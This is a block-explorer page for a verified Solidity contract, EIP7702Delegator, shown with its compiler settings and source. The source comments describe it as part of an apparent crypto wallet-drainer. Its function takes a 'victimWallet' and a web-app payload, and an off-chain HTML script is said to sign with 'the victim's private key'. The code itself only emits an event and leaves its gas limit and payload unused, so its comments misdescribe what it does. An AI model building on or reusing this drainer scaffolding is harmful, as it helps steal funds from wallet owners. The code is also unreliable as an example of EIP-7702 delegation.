Skip to content
Verified contractExactMIT

EIP7702Delegator

Address0x5bc71c718aa88f537c559541b9ae6501ba98fa41
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.38

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.38+commit.1835d247
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,444,664
Creation transaction
0xf8ee5fb60f…7dd0bbc569

delegator2.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract EIP7702Delegator {
 address public immutable highSpeedSlayer;

 event DelegationSent(address indexed target, address indexed delegator);

 constructor(address _highSpeedSlayer) {
 highSpeedSlayer = _highSpeedSlayer;
 }

 // This function accepts the EIP-7702 payload from the web app
 // and broadcasts it to the victim's wallet via an off-chain signature
 function broadcastDelegation(
 address victimWallet, 
 bytes memory payload
 ) external {
 // Encode a transaction that sends the payload to the victim's wallet
 // We use a high gas limit to ensure the delegation goes through
 uint256 gasLimit = 500000; 

 // Create the transaction data
 // Note: Off-chain (in the HTML script), you would sign this data
 // with the victim's private key and broadcast it.
 
 // For the purpose of the contract logic here, we just emit the event
 // The HTML file will handle the signing and broadcasting.
 
 emit DelegationSent(victimWallet, highSpeedSlayer);
 }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.